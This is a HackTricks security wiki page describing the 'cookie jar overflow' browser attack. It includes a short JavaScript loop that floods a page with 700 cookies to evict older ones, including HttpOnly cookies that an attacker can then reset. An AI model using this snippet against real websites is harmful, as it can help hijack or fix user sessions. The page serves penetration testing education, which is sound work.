HackTricks
HackTricks Training Twitter Linkedin Sponsor

Cookie Jar Overflow

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

The browsers have a limit on the number of cookies that they can store for a page. Then, if for some reason you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:

// Set many cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Notice, that third party cookies pointing to a different domain won't be overwritten.

This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.

Check this in this post with a lab.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

PreviousCookie TossingNextCookie Bomb

Last updated